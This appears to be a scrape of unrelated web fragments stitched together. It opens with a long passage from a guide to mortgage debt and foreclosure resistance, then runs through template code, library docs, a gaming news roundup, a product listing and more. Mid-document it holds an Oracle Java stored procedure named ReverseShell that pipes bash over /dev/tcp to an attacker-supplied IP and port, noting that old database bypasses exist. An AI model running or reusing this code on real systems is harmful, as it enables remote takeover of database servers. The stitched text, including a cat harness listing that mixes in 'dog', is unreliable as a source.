With figures as far-reaching as these, housing debt needs to be understood as a highly complex issue concerning us all both financially and ethically. The common “blame the victim” account of the subprime mortgage crisis ignores the fact that the industry developed complex financial instruments to expand the market through unsound and, in an overwhelming number of cases, fraudulent means, ultimately causing the system to collapse. Many of these “mortgage innovations” or “relaxed lending practices” were in fact trapdoor schemes to extract wealth from borrowers with false promises and exploited desires.
If you are currently struggling with a mortgage or foreclosure, you are not alone. Review the resources below to consider your options and where you can find aid. If you are not going through difficulties with your mortgage, support those you know who are by sharing this information and expressing your solidarity.
 What can you do? You have several options, ranging from individual to collective, low-risk to high-risk, legal to not-so-legal.
Individual strategies
1. Explore federal mortgage modification programs. You may qualify for government relief under a range of programs established in the wake of the housing market collapse, most of which are administered through the Treasury Department and the Department of Housing and Urban Development (HUD). These include the Making Home Affordable Program (MHA), the Home Affordable Modification Program (HAMP), and the Principal Reduction Alternative (PRA) (for significantly underwater mortgages). If your mortgage is insured by the Federal Housing Administration (FHA), there are additional loss mitigation programs available. Each program has complicated eligibility requirements, which you can learn about on the HUD website. Then, ask your lenders and loan servicers about your options. If you run into difficulties, the HUD website has a list of organizations that can contact lenders and servicers on your behalf.
2. Negotiate with your lenders, ideally with some help. In seeking professional help, generally watch out for frauds and scams (for example, if you’re asked for a lump-sum fee up front). Anyone looking to take your mortgage payment and give it to the bank is untrustworthy; you’ll want to pay the bank directly. Anyone who promises you a silver bullet is probably lying.
- Consult a housing counselor. Organizations like the Neighborhood Association Corporation of America (NACA) can point you to an accredited housing counselor experienced in negotiating with banks. Note that some housing counselors have a vested interest in building up their businesses and may be funded by banks; some are straight-up frauds.
- Consult a lawyer. If you cannot afford a lawyer, seek out local legal aid organizations, bar associations, or community-based organizations (e.g., housing justice organizations) for discounted or free legal services.
- Consult community-based organizations specializing in housing issues. Particularly in major metropolitan areas, there are organizations that can offer general advice and support with your housing issues. Some unions also do this. These organizations may also help you partake in collective action to win larger victories (see “Collective Action” below).
3. Walk away. Walking away from—that is, strategically defaulting on—your mortgage is always an option. The personal finance world went ballistic when Suze Orman advised homeowners who are more than 20% underwater to walk away. But if you’re that far in the hole, cutting your losses may be your best option. Entire communities are finding themselves in a vicious cycle of foreclosures driving down property values, which in turn reduces property taxes and therefore municipal income. Municipal indebtedness grows and public services suffer, further driving down property values. This death spiral is often impossible to escape. By strategically defaulting, you remove yourself from the poisonous cycle of individual and collective indebtedness and depreciation.
You can decide to walk away immediately, or after taking some intermediate steps to explore the full range of options. These steps include:
- Ask your lender to modify the loan by reducing the principal to the actual current value of the property.
- If they say no—which is likely—then ask for a short sale. A short sale is a sale for less than the amount owed for a property, and the bank takes the loss. Most often banks will say no to this, too.
- As a last step, ask for a deed in lieu of foreclosure. This will allow you to transfer the property deed to the bank without going through formal foreclosure proceedings. The advantage for you is that it allows you to walk away immediately and with no attachment to the property. The advantage to the bank is that they may save money and lower the risk of borrower vandalism of the property.
Of course, this exit doesn’t come for free. Before you walk away, be aware of the consequences of foreclosure. Aside from the loss of your home, your credit report and credit score will take a big hit. You can expect your score to drop by 85 to 160 points. The foreclosure stays on your report for seven years and will impact your credit for that period, although it is impossible to know how much the impact will dissipate over time since credit reporting agencies do not disclose their algorithms. But without a doubt, it will be difficult to get another loan for quite some time. One thing you should certainly do is dispute the foreclosure with the credit reporting agency, forcing them to validate your credit report. CRA records are often inaccurate, so dispute them until they show you your signature on the loan documents (see Chapter One).
You might also consider walking away from your mortgage in strategic alliance with other homeowners facing foreclosure—in other words, participating in a mortgage strike. If done correctly, a mortgage strike could drastically increase your community’s leverage against the banks. It is essential that you consult an attorney in this case because unlike tenants in a rent strike, homeowners in a mortgage strike have no support in the relevant laws.
4. Rent instead of owning. Although rent is not considered consumer debt, owing rent is certainly a form of indebtedness. This becomes obvious if you do not pay your rent. Your landlord will eventually evict you and you will owe “back rent.” The similarity between owing a bank money for shelter and owing a landlord money for shelter becomes clear when the bank threatens to take away your home. Just as a bank keeps a down payment to cover a potential default, a landlord typically requires the tenant to provide a security deposit to be deposited in an interest-bearing escrow account to guarantee rent.
A recent Pew study showed that younger people in the United States have soured on buying and are less attached to the dream of homeownership. The younger generation has seen its families suffer from underwater properties and fears the downside of ownership more than it desires the upside.
Be warned, however, that renting will not necessarily save you from the overall effects of housing debt. Since the foreclosure crisis, rents have overwhelmingly increased and in 2011, rental vacancies hit a ten-year low. Millions of foreclosed families have no choice but to rent, and since it takes seven years for a foreclosure to disappear from your credit report, many families are in it for the long haul. Of course, wages have not kept pace with rent increases and rent is eating up a growing portion of peoples’ incomes. This outcome is also felt very unevenly. For example over 25% of Black and Latino/a families spend more than half their income on housing compared to 15% of White families.
Unfortunately, no one has been immune to the fraudulent practices that led to this mess. Unsustainable housing debt impacts us all.
Collective strategies: We are forty million strong
What does all this add up to? U.S. homeowners have been victims of a bank scheme to profit by creating a bubble that could only blow up in individual homeowners’ faces. Since we are all affected by the housing crisis, the potential for collective action is enormous. For systemic change that benefits us all, we need to build power through acting together.
There are an estimated forty million residents of underwater homes today, greater than the entire population of California. There’s $1.15 trillion in just the underwater portion of mortgages, and $4.8 trillion in total estimated property value of underwater homes. Given these numbers, it’s easy to see the potential for homeowners to unite under the threat of strategic default. In 2008, the federal government passed the $700 billion Troubled Asset Relief Program (TARP) to bail out banks. TARP specifically called for the government to encourage banks to modify loans to prevent foreclosures. However, very little money has actually been used to bail out homeowners and the banks have done little to change their lending practices to help people to avoid losing their homes. In fact, the review of loans in foreclosure by banks and their consultants was botched so badly that they reached a $3.6 billion settlement with regulators, providing cash relief to homeowners who entered foreclosure in 2009 or 2010. These homeowners suffered illegal foreclosures, including foreclosures despite never having missed a mortgage payment. More than half a million homeowners were deprived of a loan modification or other loss mitigation assistance. Clearly, we can’t rely on the government to clean up this huge mess that speculators caused.
Eviction/auction blockades
Activists have long used their bodies to blockade evictions of foreclosed homeowners and auctions of foreclosed homes. Blockades give you more leverage to negotiate a better deal with the bank because banks hate public pressure, especially around specific homeowners. Banks are softer targets than you might expect because so many cases are rife with legal irregularities and outright fraud; it’s not uncommon for customers to be mislead, crucial paperwork lost, and documents robo-signed. With a little help from your friends, you can use this against the banks.
Blockades raise the cost of foreclosing for the bank, which is helpful on both individual and collective levels. In Minneapolis, for example, thanks to the work of sixty activists from the grassroots group Occupy Homes MN, it took police four attempts and thirty-nine arrests to evict one family in the spring of 2012. The whole effort cost the city $40,000 (the city had to attack the front door with a battering ram), a fact that Occupy Homes MN publicized to shame elected officials for the misuse of public resources.
Eviction and auction blockades can also serve as part of larger anti-eviction and anti-foreclosure campaigns that call on the legislature to put stronger legal protections in place for homeowners and moratoriums on evictions and foreclosures. Such reforms are a source of relief for many.
What are the economics that justify eviction and auction blockades? When a home is underwater, the lender has already lost its initial investment because it will have to resell the house at today’s depressed fair market value. Who benefits from that resale to the market? Often they are “vulture fund” investors who have a lot of cash to shop for deals in distressed neighborhoods, only to gentrify those neighborhoods or quickly “flip” their investments in order to make a profit. They benefit from foreclosures at the expense of family, community and—if the mortgage is insured by Fannie Mae or Freddie Mac—taxpayers (who must repay the bank the amount of the original mortgage).
What demands should blockaders make? The most immediate demand is to halt or reverse foreclosure, or at least eviction in the wake of foreclosure. Our first goal is to stop a human being or family from becoming homeless. The next is a “principal reduction”—a new loan based on the house’s current value. The benefits of principal reductions would ripple out far beyond any particular homeowner: Fannie and Freddie could save taxpayers billions by adopting principal reduction because odds are better the homeowner will be able to keep making payments and avoid default (or re-default).
Those in charge argue that principal reductions—achieved by selling homes back to foreclosed homeowners—would create a “moral hazard,” encouraging others to default on their mortgage. The term “moral hazard” is used to describe a situation where a person (or a corporation or other unit) takes undue risks because they know that someone else will bear the consequences of their risky action. The important thing to recognize is that corporations do this all the time—for example, corporations pollute with impunity because they do not bear the costs of such pollution themselves. In the housing market, banks extended risky, speculative mortgage loans to homeowners, knowing that if things were to go south, homeowners would suffer the consequences, not the banks. “Moral hazard” has nothing to do with morality and everything to do with particular distributions of power and risk. The question is, what types of “moral hazard” are we willing to tolerate?
 Despite the lengthy history of rent strikes to gain repairs and other concessions, there is little history of mortgage strikes. There are many reasons property owners are unwilling to strike—attachment to homeownership, guilt about failing to pay debts, fear of bad credit, and hope that the market will improve. But as more and more victims of the housing market understand the complicated details of the game our government played with the banks at our expense, the potential for collective action grows.
Rent strikes work (although the risk of eviction is real) because under the lease and the landlord-tenant law regime, the landlord must perform its duties (such as keeping the premises habitable) for the tenant’s duty to pay rent to kick in. How are mortgage strikes different from rent strikes? Unfortunately, the law does not protect homeowner-borrowers as much as it does tenants. This is a product of our society’s pro-creditor bias, as well as the lack of a powerful mortgage debtors’ movement. We mustn’t forget that the legal protections for tenants making rent strikes possible did not always exist—they were obtained through collective action throughout the 1960s and ’70s. (In the DC Circuit case, Javins v. First National Realty Corp., the court determined that if the premises become uninhabitable, the tenant is freed from their obligation to pay rent. The tenant’s duty to pay rent was traditionally regarded as independent of whether the landlord fulfilled their duties.)
People in the U.S. are beginning to come together to organize mortgage strikes. A community-based organization called Empowering and Strengthening Ohio’s People (ESOP) has modeled its mortgage strike on rent strikes under Ohio law, which uses a court-supervised process. In a rent strike, tenants pay their monthly rent to the local court clerk, who holds the payments in escrow until the tenants’ complaints are resolved. A mortgage strike would follow a similar structure, although it is not specifically authorized by Ohio law (making it highly risky). Participating homeowners would send money orders covering their regular principal and interest payments to a local attorney to hold in escrow until the homeowners explicitly release the payments. The attorney’s role is to provide an escrow service so that the mortgage servicers and lenders are assured of payment after the strike. By collectively withholding mortgage payments through this escrow mechanism, underwater homeowners can increase their negotiating leverage vis-à-vis their shared lenders and servicers.
City Life/Vida Urbana (CLVU), a community-based organization in Boston has been actively organizing mortgage debtors’ unions, or “Bank Tenant Associations”—a product of three decades of grassroots organizing. The model is being replicated across the country (and, for better or worse, is funded by national and international foundations). Bank Tenant Associations get the message out to the community, build solidarity, provide access to lawyers, organize creative actions that apply public pressure and attract media attention, and build leadership in the bank tenants themselves. CLVU has established Bank Tenant Associations with thousands of bank tenants who have stopped evictions, passed new laws, put pressure on the bank to sell back homes at half or less of the original loan value, and radically changed both lender and court culture. To give just one example, CLVU is initiating a pilot project in two organized neighborhoods to convert occupied foreclosed buildings into permanently affordable, resident-controlled homes. These grassroots movements can only lead to a broader, national demand for principal reduction and prioritizing affordable housing going forward.
CLVU has published a Bank Tenant Association Organizing Manual that details the myriad steps and dynamics of organizing a mortgage debtor’s union. Among other things, the manual includes creative ways to partner with community (not-for-profit) banks, which can buy underwater properties and sell them back to homeowners at their real value (a better result than in most loan modification efforts by for-profit banks), and much more.
Home Is Where the Heart Is: Creating a Housing Commons
Blockades and mortgage strikes are powerful tactics to prevent foreclosures right now, but let’s not lose sight of our ultimate vision: a world where housing is a human right and an asset of the commons. To that end, we can continue historic commoning practices such as taking over and rehabilitating vacant homes and maintaining community land trusts (which allow the community to own land based on principles of democracy, affordability, and sustainability). We have seen how the irresponsible forces of the market have wrecked homes and lives. We must build our own resilient homes going forward, and that is most likely to succeed if we do it together.
Resources
Websites
- Chicago Anti-Eviction Campaign
- City Life/Vida Urbana
- Empowering and Strengthening Ohio’s People
- Housing Is a Human Right
- Occupy Our Homes
- Right to the City Alliance
- Take Back the Land
Articles
- John Atlas, “The Conservative Origins of the Sub-Prime Mortgage Crisis,” American Prospect, December 17, 2007.
- Barbara Ehrenreich and Dedrick Muhammad, “The Recession’s Racial Divide,” New York Times, September 12, 2009.
- Ylan Q. Mui, “For Black Americans, Financial Damage from Subprime Implosion Is Likely to Last,” Washington Post, July 8, 2012.
- Michael Powell and Gretchen Morgenson, “MERS? It May Have Swallowed Your Loan,” New York Times, March 5, 2011.
- Maura Reynolds, “Refinancing Spurred Sub-Prime Crisis,” Los Angeles Times, July 5, 2008.
- “The Rotten Heart of Finance,” The Economist, July 7, 2012.
References
- Bluestone, Barry. “Is Homeownership Now Just a Dream? Implications of Potential New Federal Housing Policies on the Distribution of Homeownership.” Northeastern University School of Public Policy and Urban Affairs, March 2012.
- Bocian, Debbie Gruenstein, Wei Li, Carolina Reid, and Roberto G. Quercia. “Lost Ground, 2011: Disparities in Mortgage Lending and Foreclosures.” Center for Responsible Lending, November 2011.
- Bradbury, Alexandra. “Home Is Where the Fight Is.” Labor Notes, March 5, 2013.
- Callis, Robert R., and Melissa Kresin. “Residential Vacancies and Homeownership in the Third Quarter 2012.” U.S. Census Bureau News, October 30, 2012.
- Cook, Steve. “The Homeownership Rate Skips a Beat.” Mortgage Professional America, January 30, 2013.
- CoreLogic. “CoreLogic Reports Number of Residential Properties in Negative Equity Decreases Again in Second Quarter of 2012.” September 12, 2012.
- CoreLogic. “CoreLogic Reports 767,000 Completed Foreclosures in 2012.” February 1, 2013.
- Federal Housing Finance Agency. “Review of Options Available for Underwater Borrowers and Principal Forgiveness.” July 31, 2012.
- Humphries, Stan. “Negative Equity Declines Slightly on the Back of Modest Home Value Gains.” Zillow, August 22, 2012.
- Munnell, Alicia H., Lynn E. Browne, James McEneaney, and Geoffrey M.B. Tootell. “Mortgage Lending in Boston: Interpreting HMDA Data.” Federal Reserve Bank of Boston Working Paper Series 92, no. 7 (1992).
- Neyman, Sarena. Bank Tenant Association Organizing Manual: Building Solidarity to Put People Before Profit. Boston: City Life/Vida Urbana, June 2012.
- Pew Research Center. “Young Adults after the Recession: Fewer Homes, Fewer Cars, Less Debt.” February 21, 2013.
- Riordan, Jack. “Disposing of Vacant Land and Abandoned Homes.” Ohio Conference of Community Development, January 30, 2013.
- Silver-Greenberg, Jessica. “First Checks to Be Issued in Mortgage Settlement.” New York Times, April 9, 2013.
- U.S. Census Bureau. “Historical Census of Housing Tables: Homeownership.” October 31, 2011.
-
Wachter, Michael. “The Rise and Decline of Unions.” CATO Institute, 2007.


{{define "title"}}Access denied{{end}} {{define "content"}}
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{% extends "base.html" %} {% load bootstrap3 %} {% block title %}Reservoir - Select Project{% endblock %} {% block content %}
{{ project.name }}
× You don't have any project yet.


| Select server: |
Note: If you reconfigure Master server, Slave will reconfigured automatically
|
A "backend" section describes a set of servers to which the proxy will connect to forward incoming connections.
All proxy names must be formed from upper and lower case letters, digits,
'-' (dash), '_' (underscore) , '.' (dot) and ':' (colon). ACL names are
case-sensitive, which means that "www" and "WWW" are two different proxies.
Historically, all proxy names could overlap, it just caused troubles in the
logs. Since the introduction of content switching, it is mandatory that two
proxies with overlapping capabilities (frontend/backend) have different names.
However, it is still permitted that a frontend and a backend share the same
name, as this configuration seems to be commonly encountered.
|


#Genuary2021
January 2nd
Prompt
Rule 30 (elementary cellular automaton)
Interpretation
A few years ago, I used the output of rule 30 as the pattern for crocheting a hat (see image below). The image of this session is used to create the animation for this prompt.


The enumerable method map can be very useful. In general terms, using this method will change every element in the collection you call it on. You can either specify a block of code to define how each element will be changed, or if no code block is given, the method will simply change every element to the value specified. Lets see how this would work.
In this example I have created two arrays. I then have altered these arrays with the map method. At the bottom you can see what the output of these method calls would be. As you can see, the effect of calling .map is that every element of the array is iterated through, performing the calculation specified in the code block. When I haven't given a code block, it simply changes all elements to the value I have given, or the integer 10.
ar = [1, 2, 3, 4, 5]
ar2 = ["cat", "dog", "mouse"]
ar.map {|x| x + 5}
ar.map { 10 }
ar2.map {|y| y + "!"}
ar2.map { 10 }
[6, 7, 8, 9, 10]
[10, 10, 10, 10, 10]
["cat!", "dog!", "mouse!"]
[10, 10, 10]
As you can see, if you ever want to change every element in your collection the same way, the map method is the way to go.


{% extends 'portal/base.html' %} {% load static %} {% block title %}Elections - ECSS{% endblock %} {% block portalcontent %} Elections {% if elections %} Elections listed are for ECSS members. {% for election in elections %} {{ election.name }} {% if not election.is_election_current %} Not currently open {% elif election.has_nomination and election.is_nomination_current %} Nomination ends on {{ election.nomination_end|date }} {{ election.nomination_end|time:"H:i" }} {% elif election.is_voting_current %} Voting ends on {{ election.voting_end|date }} {{ election.voting_end|time:"H:i" }} {% endif %} {% endfor %} {% else %} No ECSS elections currently. {% endif %} {% endblock %}
Elections listed are for ECSS members.
No ECSS elections currently.


text-manipulation > “buffer/mutable-text-range” > MutableTextRange
MutableTextRange
⊕ new MutableTextRange(interval: [TextPosition, TextPosition], textBuffer: TextBuffer): MutableTextRange
Parameters:
| Param | Type | Description |
|---|---|---|
| interval | [TextPosition, TextPosition] | - |
| textBuffer | TextBuffer |
Returns: MutableTextRange
● end: TextPosition
● start: TextPosition
<Private>
textBuffer● textBuffer: TextBuffer
▸ exists(): boolean
The range from start to end exists
Returns: boolean
▸ getText(): string
Get the text of the range
Returns: string
▸ setText(text: string
): void
Change the text of the range
Parameters:
| Param | Type | Description |
|---|---|---|
| text | string |
Returns: void
▸ sort(): MutableTextRange
Sort the range ensuring that start is less than or equal to end start <= end
Returns: MutableTextRange


{% extends 'base.html' %} {% load staticfiles %} {% block script %} {% endblock script %} {% block body %}
Thanks for your order. In the next few minutes, you'll receive an email confirming your order at {{ charge.receipt_email }}.
Your {{ charge.source.brand }} ending in {{charge.source.last4 }} has been charged {{ price }}. The purchase will appear on your card statement as "{{ charge.statement_descriptor }}".
Please don't hesitate to contact us with any questions.
Plan {{ charge.metadata.plan_number }}: {{ plan_object.area }} Sq. Ft., {{ plan_object.bed }} {% if plan_object.bed == 1%}Bed{% else %}Beds{% endif %}, {{ plan_object.bath }} {% if plan_object.bath == 1%}Bath{% else %}Baths{% endif %}
{{ charge.source.name }}
{{ charge.source.address_line1|title }}
{% if charge.source.address_line2 %}
{{ charge.source.address_line2|title }}
{% endif %}
{{ charge.source.address_city|title }}, {{ charge.source.address_state|title }}
{{ charge.source.address_zip }}
Your plans will be shipped via {{ charge.metadata.shipping_method }}. They should arrive within 5 business days.


The biggest PC gaming stories of the week
by Tyler WildeNot much happened this week. A Star Citizen event was announced, and I guess that's something. There was also that PS1-looking "Cybertruck" that might appear in Cyberpunk 2077. Pretty dumb. I'm struggling to think of anything else noteworthy that happened in PC gaming this week, but I'm sure I'll remember as I go.
Half-Life: Alyx is a full-length game set before Half-Life 2
Valve announced a new Half-Life game, and it's a VR-only prequel starring Alyx, and there's a trailer for it you can watch above.  Hopefully we find some bigger news as we go here.
Half-Life: Alyx is just the beginning of Valve's return to the series
After Half-Life: Alyx releases, Valve would "love to continue pushing forward" in the Half-Life universe according to designer David Speyrer. So maybe Half-Life 3 isn't out of the question? Interesting, but let's see if we can find some bigger PC gaming news.
Witness the body horror that allows Rust players to look down and see their legs
Finally! Here's the proper PC gaming news you've been craving.
Nvidia releases a GPU hotfix to address stalling in Red Dead Redemption 2
Red Dead Redemption 2 hasn't had the smoothest PC launch (did anyone think it would?) but Rockstar and Nvidia are steadily improving it. This particular hotfix didn't resolve all of our problems, but hopefully with a bit more ironing it'll be stabler.
Counter-Strike has characters now
They're just cosmetic additions, but it feels weird. Counter-Strike doesn't have characters, it has jerks who AWP me and then say mean things about my family.
Former Arkane bosses launch a new studio, first game will be revealed at The Game Awards
Raphael Colantonio and Julien Roby are making games together again with a new studio called WolfEye. It sounds like they'll continue making the Dishonored-like games they're known for, and we'll see their first game at The Game Awards on December 12.
More things we wrote
- Firewatch fans are worried that In the Valley of Gods has been canceled
- Death Stranding and Control lead The Game Awards 2019 nominations
- PUBG is ditching crates you need to pay to unlock
- There's a caveman hidden in the Red Dead Redemption 2 game files
- State of Decay 2 is coming to Steam next year
- The Epic Games Store's Black Friday sale is live
- The Witcher episode titles drop hints about the Netflix show's story
- Warframe will let you start building your spaceship today
- Resident Evil 3 Remake is apparently in development
- Amazon will announce its game streaming service next year, according to a report
Around the office
James and Chris are fighting and there aren't any adults around to stop them. Specifically, they are fighting about arms, and whether or not Alyx should have them in Half-Life: Alyx. Right now, she just has disembodied hands. Chris is on team arms, while James is firmly against the inclusion of arm-shaped things in VR. I don't expect this to be resolved soon.
When not fighting about arms, we've been preparing for deal season, which has kicked off already with some early Black Friday deals. If you're looking to upgrade your PC or build a new one, this weekend marks the beginning of the best time to buy parts, and we'll be sharing the best deals we find.
Aside from getting into an arm-related beef, Chris analyzed the Half-Life: Alyx trailer to try to figure out a few plot details, and what kind of horrible creatures we may encounter—no, please, anything but the sacktick.
Joanna has been testing Google Stadia with predictable, so-so results, and I've been musing about the nature of sequels now that games are meant to be played forever.
That's all for this week. I suggest everyone declare their Team Arms or Team No Arms allegiance before Monday, because Chris and James seem to be building armies now.
To stay up-to-date on PC Gamer's news and features, you can follow us on Twitter and Facebook , subscribe to our newsletter , listen to our weekly podcast , or just refresh the homepage waiting for whatever happens next.


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This approach will not work as the Oracle JVM implements fine grain policy-based security to control access to the OS and filesystem. Executing this procedure from a low-permissioned account results in errors. (some old database bypasses are available however)
SET scan off
create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
System.out.println(p.toString());
p.waitFor();
}
}
/
create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';


Issue #6476
This test-case is intended for
Issue #6476
- Change directive for sourceURL.
Jan Odvarko<EMAIL_ADDRESS>- Open Firebug and enable, select the Script panel. Reload this page.
- Click on the button to evaluate a script
- Set a breakpoint in
issue6476-dynamic.js
at line
3
(the file must exist in the location menu)
- Click on the button to execute the script
- The execution must stop at the breakpoint.


val sleepData: DataFrame
An example data frame with 83 rows and 11 variables
This is an updated and expanded version of the mammals sleep dataset. Updated sleep times and weights were taken from V. M. Savage and G. B. West. A quantitative, theoretical framework for understanding mammalian sleep. Proceedings of the National Academy of Sciences, 104 (3):1051-1056, 2007.
Additional variables order, conservation status and vore were added from wikipedia.
Getter
An example data frame with 83 rows and 11 variables
This is an updated and expanded version of the mammals sleep dataset. Updated sleep times and weights were taken from V. M. Savage and G. B. West. A quantitative, theoretical framework for understanding mammalian sleep. Proceedings of the National Academy of Sciences, 104 (3):1051-1056, 2007.
Additional variables order, conservation status and vore were added from wikipedia.


Why is golf in the Olympics and not billiards?
Having a good time at Fast Eddie's
Also at Fast Eddie's
| Equipment | ||
| Pool cue | Table | Cue balls |
| Chalk | Shoes | Alcoholic beverage of choice |
Things I want to improve my game
Interested in More Pool?
This site will help you understand the love of pool! Reasons to Love Pool


pomodoro:
min.
short break:
min.
long break:
min.
long break every
pomodoros notification type:
none
Chrome Notification (disappear automatically)
Chrome Notification (NOT disappear automatically)
Alert (Chrome will gain focus even if you are using another app)
go to next pomodoro:
without user interaction
after closing notification
after clicking extension icon
save


Description
Lead your cat on a stress-free walk with the PetSafe Easy Walk Harness. When your cat pulls, the Easy Walk Harness uses gentle pressure on the chest and shoulder blades to steer your dog to the side and refocus his attention on you. The chest strap rests low on the breastbone instead of the throat to eliminate choking, coughing and gagging.
- Discourages your cat from pulling, lunging and jumping while on leash
- Low chest strap prevents choking, coughing and gagging
- 4 adjustment points provide maximum comfort and reliable fit
- Made from soft, but strong, nylon; Quick snap buckles located on belly straps for easy on and off
- Includes detailed training and fitting guide; Complementary color on belly strap to easily identify top and bottom


Overview
Effective software development in an era of increasing number of web frameworks may bring up a challenge of how to get started and what parameters to be kept in mind. There comes many aspect to be taken care of such as following best design practices, high end security, robust validation, high level auditing, culture specific management, maintaining performance, reducing redundant code etc...
Here is an end to end solution of creating an enterprise application which provides a solution to fulfil your software requirements based upon your domain using clean architecture.
Scenario
Let's consider a scenario of making a human resource enterprise application which can be used by small/large organizations for performing day to day tasks or activities done by Human Resource Team such as Managing resource data, managing payroll, recruitment process, performance evaluation etc.. as well as useful for the employees of the organization to maintain their profile, apply leaves, view attendance and update their professional skills.
This required a lots of real world cases. The core requirement of the application framework should be flexible to adopt the change request easily with the minimal line of code. On the top level note Client wants some of the extensive features in the application, which are listed below:
Security :It plays a very important and unavoidable role in any application as it may contain private and sensitive data of the association which needs to be prevented from attacks. There are various notes to be followed which are listed below :
* The application should perform secure Token Based Authentication.
* Authorization should be effectively.
* OWASP security standards should be followed.
* Data should be validated for its consistency
Performance :For an application to respond fast and maintain perfomance is necessary while multiple users access it.
* Make a call to database if the data has been changed in the respective table.
* All the static data should be cached.
* Performance management while manipulating large data.
Localization and Globalization :Organizations working in different countries/regions may have users who have different timezones, locale etc.
* TimeZone conversion.
* API should return validation messages based upon the user locale.
* Whole UI framework should work based upon the locale.
* Bind the data in the drop down based upon server locale.
Later on if the application needs to be made serverless as well as following microservices, it can be done at any point of time without changing a lot of code or the project structure.
Based upon the above described scenario and aspects, Let's start making a new project using rxwebcore


Elo
From Wikipedia:
The Elo rating system is a method for calculating the relative skill levels of players in two-player games such as chess and Go. It is named after its creator Arpad Elo, a Hungarian-born American physics professor.
The Elo system was invented as an improved chess rating system, but today it is also used in many other games. It is also used as a rating system for multiplayer competition in a number of computer games, and has been adapted to team sports including association football, American college football and basketball, and Major League Baseball.
Links
Usage
You need to have at least to players that can play a game (duh).
bob = Elo::Player.new jane = Elo::Player.new(:rating => 1500)
Once you have players, you can register games in a variaty of ways. There is more than one way to do it, choose whatever works from your other code:
game1 = bob.wins_from(jane) game2 = bob.loses_from(jane) game3 = bob.plays_draw(jane) game4 = bob.versus(jane) game4.winner = jane game5 = bob.versus(jane) game5.loser = jane game6 = bob.versus(jane) game6.draw game7 = bob.versus(jane) game7.result = 1 # result is in perspective of bob, so bob wins
You can get all kinds of info from a player:
bob.rating bob.pro? bob.starter? bob.pro_rating? bob.games_played bob.games
Or get a list of players:
Elo::Player.all
Configuration
You can configure Elo in many ways. In it’s default configuration, it is configured in the same way as the FIDE (World Chess Foundation).
Altering settings to your liking is very easy and very flexible. You can even specify your own K-factor rules. Have a look at the Rdoc in the code for a complete reference.
Here is an example:
Elo.configure do |config| # Every player starts with a rating of 1000 config.default_rating = 1000 # A player is considered a pro, when he/she has more than 2400 points config.pro_rating_boundry = 2400 # A player is considered a new, when he/she has played less than 30 games config.starter_boundry = 30 end
About the K-factor
The Elo rating system knows a variable called the “K-factor”. The K-factor is used to reward new talent and stableize the rating once a player is participating longer.
FIDE (the World Chess Foundation), gives players with less than 30 played games a K-factor of 25. Normal players get a K-factor of 15 and pro’s get a K-factor of 10.
You need to provide Elo the amount of games played, their rating and their pro-status.
bob = Elo::Player.new(:games_played => 29, :rating => 2300, :pro => true)
You can define your own K-factors by adding K-factor rules. This code will change the K-factor to 12, for every player who’s name starts with a B, and 16 for everybody else.
Elo.configure do |config| config.k_factor(12) { name =~ /^b/i } config.default_k_factor = 16 config.use_FIDE_settings = false end
Installation
gem install elo
Note on Patches/Pull Requests
- Fork the project.
- Make your feature addition or bug fix.
- Add tests for it. This is important so I don’t break it in a future version unintentionally.
- Commit, do not mess with rakefile, version, or history. (if you want to have your own version, that is fine but bump version in a commit by itself I can ignore when I pull)
- Send me a pull request. Bonus points for topic branches.
Copyright
Copyright © 2010 Iain Hecker. Released under the MIT License


Represents a reflected type. More...
#include <refl.hpp>
Public Types | |
| typedef T | type |
| The reflected type T. More... | |
| typedef detail::declared_base_type_list< T >::type | declared_base_types |
| The declared base types (via base_types<Ts...> attribute) of T. More... | |
| typedef detail::base_type_list< T >::type | base_types |
| The declared and inherited base types of T. More... | |
| typedef declared_member_list< T > | declared_member_types |
| A synonym for declared_member_list<T>. More... | |
| typedef member_list< T > | member_types |
| A synonym for member_list<T>. More... | |
| typedef detail::attribute_types< T > | attribute_types |
| An alias specifying the types of the attributes of the member. More... | |
Static Public Attributes | |
| static constexpr declared_base_types | declared_bases {} |
| The declared base types (via base_types<Ts...> attribute) of T. More... | |
| static constexpr base_types | bases {} |
| The declared and inherited base types of T. More... | |
| static constexpr declared_member_types | declared_members { } |
| The list of declared member descriptors. More... | |
| static constexpr member_types | members { } |
| The list of declared and inherited member descriptors. More... | |
| static constexpr const auto | name { type_info::name } |
| The name of the reflected type. More... | |
| static constexpr const auto | attributes { type_info::attributes } |
| The attributes of the reflected type. More... | |
Represents a reflected type.
| typedef detail::attribute_types<T> refl::descriptor::type_descriptor< T >::attribute_types |
An alias specifying the types of the attributes of the member.
(Removes CV-qualifiers.)
| typedef detail::base_type_list<T>::type refl::descriptor::type_descriptor< T >::base_types |
The declared and inherited base types of T.
Combine with reflect_types to obtain type_descriptors for those types.
| typedef detail::declared_base_type_list<T>::type refl::descriptor::type_descriptor< T >::declared_base_types |
The declared base types (via base_types<Ts...> attribute) of T.
Combine with reflect_types to obtain type_descriptors for those types.
| typedef declared_member_list<T> refl::descriptor::type_descriptor< T >::declared_member_types |
A synonym for declared_member_list<T>.
| typedef member_list<T> refl::descriptor::type_descriptor< T >::member_types |
A synonym for member_list<T>.
| typedef T refl::descriptor::type_descriptor< T >::type |
The reflected type T.
|
staticconstexpr |
The attributes of the reflected type.
|
staticconstexpr |
The declared and inherited base types of T.
Combine with reflect_types to obtain type_descriptors for those types.
|
staticconstexpr |
The declared base types (via base_types<Ts...> attribute) of T.
Combine with reflect_types to obtain type_descriptors for those types.
|
staticconstexpr |
The list of declared member descriptors.
|
staticconstexpr |
The list of declared and inherited member descriptors.
|
staticconstexpr |


= Records Controller
The class retrieves the patient records from the specified organization. It also responds to callbacks from the authorization server.
GET /auth_endpoint_callback
Called when the authorization server grants us an authorization code. With the authorization code, we make another call to the authorization server to request an access token. We need the access token to access resources from the resource server.
Once we successfully have the access token, we redirect back to retry the request with the new access token.
# File app/controllers/records_controller.rb, line 87
def auth_endpoint_callback
Rails.logger.debug "------ Entering auth_endpoint_callback ------"
@organization = Organization.find(params[:org])
session["access_token"] = @organization.authorization_server.
request_access_token(request, callback_url)
redirect_to organization_records_path(@organization)
end
GET /organizations/1/records GET /organizations/1/records.json
